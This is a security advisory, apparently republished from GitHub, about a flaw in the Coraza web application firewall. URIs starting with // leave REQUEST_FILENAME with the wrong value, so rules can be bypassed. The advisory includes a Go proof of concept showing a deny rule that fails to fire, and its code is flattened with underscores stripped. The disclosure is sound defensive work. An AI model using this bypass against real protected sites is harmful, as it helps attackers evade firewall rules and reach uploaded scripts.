Where
-Infinity
0
Severity
5.4
EPSS
0.04%
AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N

Summary

URLs starting with // are not parsed properly, and the request REQUESTFILENAME variable contains a wrong value, leading to potential rules bypass.

Details

If a request is made on an URI starting with //, coraza will set a wrong value in REQUESTFILENAME. For example, if the URI //bar/uploads/foo.php?a=b is passed to coraza: , REQUESTFILENAME will be set to /uploads/foo.php.

The root cause is the usage of url.Parse to parse the URI in ProcessURI.

url.Parse can parse both absolute URLs (starting with a scheme) or relative ones (just the path). //bar/uploads/foo.php is a valid absolute URI (the scheme is empty), url.Parse will consider bar as the host and the path will be set to /uploads/foo.php.

PoC

go package main

import ( "fmt" "net/url" "os"

"github.com/corazawaf/coraza/v3" )

const testRule = SecDebugLogLevel 9 SecDebugLog /dev/stdout SecRule REQUESTFILENAME "@rx /bar/uploads/.\.(h?ph(p|tm?l?|ar)|module|shtml)" "id:1,phase:1,deny"

func main() { var testURL = "//bar/uploads/foo.php"

if os.Getenv("TESTURL") != "" { testURL = os.Getenv("TESTURL") }

fmt.Printf("Testing URL: %s\n", testURL)

config := coraza.NewWAFConfig().WithDirectives(testRule)

waf, err := coraza.NewWAF(config)

if err != nil { panic(err) }

tx := waf.NewTransaction()

tx.ProcessURI(testURL, "GET", "HTTP/1.1")

in := tx.ProcessRequestHeaders()

if in != nil { fmt.Printf("%+v\n", in) } }

Impact

Potential bypass of rules using REQUESTFILENAME.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203